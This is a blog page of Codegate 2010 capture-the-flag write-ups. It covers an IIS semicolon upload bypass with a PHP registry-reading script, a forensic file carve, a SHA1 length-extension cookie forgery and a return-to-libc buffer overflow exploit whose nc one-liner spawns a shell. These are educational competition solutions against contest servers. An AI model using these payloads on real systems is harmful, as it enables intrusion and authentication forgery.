Codegate 2010 Challenge 11 writeup
March 18, 2010 by Hiếu Lê · 7 Comments
Summary
http://ctf6.codegate.org/31337_/index.html
Get a value of HKLM\Software\codegate2010, it’s the flag.
Analysis
At first when accessing the url, it shows up a page allow you to upload a jpeg image and only .jpg files. As I noticed, it serves by IIS. Suddenly, I remember of the vulnerability of IIS in processing image files. A little bit google show me the result. Ah ha, let’s test it by uploading a php file likes “test.php;.jpg”. Incredible!
Now, the only thing we have to do is writing some lines of php to read the REG key.
regprint.php;.jpg
<?
$shell = new COM("WScript.Shell") or die("Requires Windows Scripting Host");
$devenvpath=$shell->RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\codegate2010");
echo $devenvpath
?>
Then, execute it by http://ctf6.codegate.org/31337_/upload/regprint.php;.jpg
LollerSkaterz_From_RoflCopters_With_Guinness
Easy game with 1200 point.
Vulnerability
In facts, after the game thaidn said that it’s a fault of deploying the challenge, it’s designed to be passed by a 0-day of core php.
References
- http://soroush.secproject.com/blog/2009/12/microsoft-iis-semi-colon-vulnerability/
- Keywords: IIS, semi-colon vulnerability
Codegate 2010 Challenge 12 writeup
March 18, 2010 by Hiếu Lê · 2 Comments
Summary
- Problem: Finding the key in one raw-data-file – forensic challenge
- Techniques: Using foremost to extract data
- Solution: Just extract data and it’s done
Analysis
After downloading the file, let’s skim over.
$ file 514985D4E9D80D8BF227859C679BFB32 514985D4E9D80D8BF227859C679BFB32: CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 949, Title: Chzcxva Pneivat Znqr Rnfl, Author: Flfnqzva, Template: Normal.dotm, Last Saved By: FRETR INHQRANL, Revision Number: 12, Name of Creating Application: Microsoft Office Word, Total Editing Time: 21:00, Create Time/Date: Mon Feb 22 12:48:00 2010, Last Saved Time/Date: Thu Mar 4 13:54:00 2010, Number of Pages: 7, Number of Words: 1381, Number of Characters: 7876, Security: 0
$ ls -l 514985D4E9D80D8BF227859C679BFB32
-rw-r–r– 1 hieuln hieuln 867328 2010-03-13 21:18 514985D4E9D80D8BF227859C679BFB32
Of course, it’s not CDF document. So, the general step is using foremost to extract inside-data.
$ foremost -c /etc/foremost.conf -v -o out 14985D4E9D80D8BF227859C679BFB32
It got a lot of stuffs. Let’s browsing images file first. I noticed there’s a small image named “00000041.tif” looks like a captcha. Try with that phrase and it is the right key “E5R69267″.
Sad, really upset. That’s such a bad challenge with 300 points. And I can’t imagine that CLGT is the 3rd team submit this flag, it’s the end of first day.
References
- Tools: http://foremost.sourceforge.net/
- Keywords: files recovery, forensic
CodeGate 2010 Challenge 15 – SHA1 padding attack
March 16, 2010 by RD · 13 Comments
Summary
This is a web based crypto challenge vulnerable to padding/length extension attack in its sha1 based authentication scheme.
Analysis
Challenge URL: http://ctf1.codegate.org/03c1e338b6445c0f127319f5cb69920a/web1.php
This page will ask for submitting a username for the first time. Once a username is submited ( ‘aaaa’ for example), the script will set a cookie as the following:
web1_auth = YWFhYXwx|8f5c14cc7c1cd461f35b190af57927d1c377997e
The first part YWFhYXwx is the base64 encoded string of ‘aaaa|1′ (username|role). The second part 8f5c14cc7c1cd461f35b190af57927d1c377997e is the sha1(unknown_secretkey + username + role).
In the next visit, the web1.php script will check for the cookie and return the following message
“Welcome back, aaaa! You are not the administrator.”
We can guest that 1 is the role value for normal user and 0 for administrator.
Solution
If we try to modify to first part of the web1_auth cookie to something like base64_encode(’aaaa|0′), the script will return an error message saying that the data has been tampered due to the wrong signature.
As we know that popular hash functions including sha1 are vulnerable to length extension (or padding) attacks. This can be used to break naive authentication schemes based on hash functions.
I will not write the detail on how to do sha1 length extension attack, you can read papers in the References section below for more information. Basically, with padding attack, we can append arbitrary data to the cookie and generate a valid signature for it without knowing the secret key. In this challenge, we want to have ‘|0′ (administrator role) at the end of the first part of the cookie.
$ python sha-padding.py
usage: sha-padding.py <keylen> <original_message> <original_signature> <text_to_append>$ python sha-padding.py 25 ‘aaaa|1′ 8f5c14cc7c1cd461f35b190af57927d1c377997e ‘|0′
new msg: ‘aaaa|1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8|0′
base64: YWFhYXwxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4fDA=
new sig: 70f8bf57aa6d7faaa70ef17e763ef2578cb8d839
And here is what we got with the web1_auth cookie using YWFhYXwxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4fDA= and signature 70f8bf57aa6d7faaa70ef17e763ef2578cb8d839
Welcome back, aaaa! Congratulations! You did it! Here is your flag: CryptoNinjaCertified!!!!!
Source Codes
- http://force.vnsecurity.net/download/rd/shaext.py
- http://force.vnsecurity.net/download/rd/sha-padding.py
- http://force.vnsecurity.net/download/rd/sha.py (this one taken from pypy lib)
References
- http://en.wikipedia.org/wiki/Cryptographic_hash_function
- Flickr’s API Signature Forgery Vulnerability
- G. Tsudik, “Message authentication with one-way hash functions,” Proceedings of Info-com 92.
Keywords: sha1, padding, length extension attack, codegate 2010
Codegate 2010 online CTF – Challenge 4 & 5 writeup
March 16, 2010 by longld · 17 Comments
Summary
Challenge 4 has a basic buffer overflow vulnerability running on modern Ubuntu Linux with ASLR. Challenge 5 shares the same code as Challenge 4 but added NX protection to make it harder. In challenge 4 we use ret2eax to by pass ASLR and return-to-libc technique to bypass NX in challenge 5 with brute-forcing for execl() libc address. We had to access to the server (hijack account of Challenge #2) to search for execl() address, it’s weakness of our solution for challenge 5.
Analysis
Challenge 4 information:
credentials: ctf4.codegate.org 9000
BINARY FILE: http://ctf.codegate.org/files____/easy
Challenge 5 information:
credentials: ctf4.codegate.org 9001
BINARY FILE: http://ctf.codegate.org/files____/harder
Both “easy” and “harder” share the same code which looks like below:
int __cdecl main()
{
size_t n; // [sp+18h] [bp-8h]@1
char *lineptr; // [sp+1Ch] [bp-4h]@1
lineptr = 0;
printf("Input: ");
fflush(0);
getline(&lineptr, &n, stdin);
func(lineptr, n);
return puts("\nThanks. Goodbye");
}
void *__cdecl func(const void *src, size_t n)
{
char dest[264]; // [sp+10h] [bp-108h]@1
return memcpy(dest, src, n);
}
The traditional BOF at memcpy() in func() with 272 bytes allows us to overwrite the saved EIP to control program execution. Exploit for “easy” is obvious, you can find a writeup here, remain of this post will talk about Challenge 5.
The problem for exploiting ‘harder’ is to bypass:
- ASLR
- NX protection
We will use return-to-libc technique to overcome that.
Solution/Exploit
In order to exploit the “harder” we have to:
- Locate address of execl() function in libc
- Locate address of “/bin/sh” somewhere in memory
- Arrange stack to call execl(”/bin/sh”, …) when return from func()
Locate address of execl()
Based on our experience in Padocon 2010 pre-qual, we know that random mmap library address will repeat after several run.
$ gdb harder
(gdb) start
Temporary breakpoint 1, 0x0804850e in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x1a70c0 <execl>
(gdb) quit
Locate address of “/bin/sh”
There’s several way to find “/bin/sh” pointer according to other contestants discussed in #codegate IRC:
- Find “/bin/sh” address in RO_DATA of libc
- Put “/bin/sh” in our input buffer then find stack address that points to it (address of “dest” in func())
- Put “/bin/sh” in our input buffer then re-use “*lineptr” (already point to our buffer) remain in stack. This is our method.
Let examine the stack when we’re in func():
(gdb) disass func
Dump of assembler code for function func:
0x080484e4 <func+0>: push ebp
0x080484e5 <func+1>: mov ebp,esp
0x080484e7 <func+3>: sub esp,0x118
0x080484ed <func+9>: mov eax,DWORD PTR [ebp+0xc] <-- n
0x080484f0 <func+12>: mov DWORD PTR [esp+0x8],eax
0x080484f4 <func+16>: mov eax,DWORD PTR [ebp+0x8] <-- src's address (*lineptr)
0x080484f7 <func+19>: mov DWORD PTR [esp+0x4],eax
0x080484fb <func+23>: lea eax,[ebp-0x108] <-- dest's address
0x08048501 <func+29>: mov DWORD PTR [esp],eax
0x08048504 <func+32>: call 0x80483f8 <memcpy@plt>
0x08048509 <func+37>: leave
0x0804850a <func+38>: ret
End of assembler dump.
(gdb) b *0x08048504
Breakpoint 1 at 0x8048504
(gdb) r
Starting program: /tmp/harder
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x08048504 in func ()
(gdb) x/20x $ebp
0xbffff738: 0xbffff768 0x08048568 0x0804b008 0x00000078
[*lineptr] (2)
0xbffff748: 0x00d5b420 0xbffff768 0x00c49345 0x006c2d20
0xbffff758: 0x00000078 0x0804b008 0x08048590 0x00000000
[*lineptr] (1) [garbage str]
0xbffff768: 0xbffff7e8 0x00c30b56 0x00000001 0xbffff814
0xbffff778: 0xbffff81c 0xb7fff858 0xbffff7d0 0xffffffff
(gdb) x/8x 0x0804b008
0x804b008: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b018: 0x41414141 0x41414141 0x41414141 0x41414141
Address of *lineptr is 0×0804b008 which point to our buffer. There’s two instances of *lineptr address on stack: (1) returned from getline(), (2) placed before calling func(). The (2) address is useless because it’s next to ret, the (1) address with next 2 addresses 0×08048590, 0×00000000 is perfect for execl(). What we need to do is lift the esp to correct address with few ret.
Arrange buffer & stack
With all the things above, we can craft our buffer as below:
["/bin/sh" | padding | ret*6 | execl() | "\n"]
This will result on stack when return from func():
[ret*6 | execl() | 0xdeadbeef | "/bin/sh" | "garbage string" | 0 ]
Exploit
while true; do (python -c 'print "/bin/sh\x00" + "A"*260 + "\x75\x85\x04\x08"*6 + "\xc0\x70\x1a\x00" + "\n"'; cat) | nc ctf4.codegate.org 9001 done Input: Input: Input: id uid=1004(harder) gid=1004(harder) cat /home/harder/flag.txt e2e4cb6adc9cd761dcde774f84529591 -
References
Keywords: return-to-libc, aslr, esp lifting, codegate 2010
We got 2nd place at CodeGate 2010 Prequal
March 16, 2010 by admin · 3 Comments
Just a quick post to announce that our CLGT CTF team has finished 2nd place at CodeGate 2010 Capture the Flag Prequal. It was a nice game with some very interesting challenges.
The final ranking could be found here

We will post our write up on our blog soon.

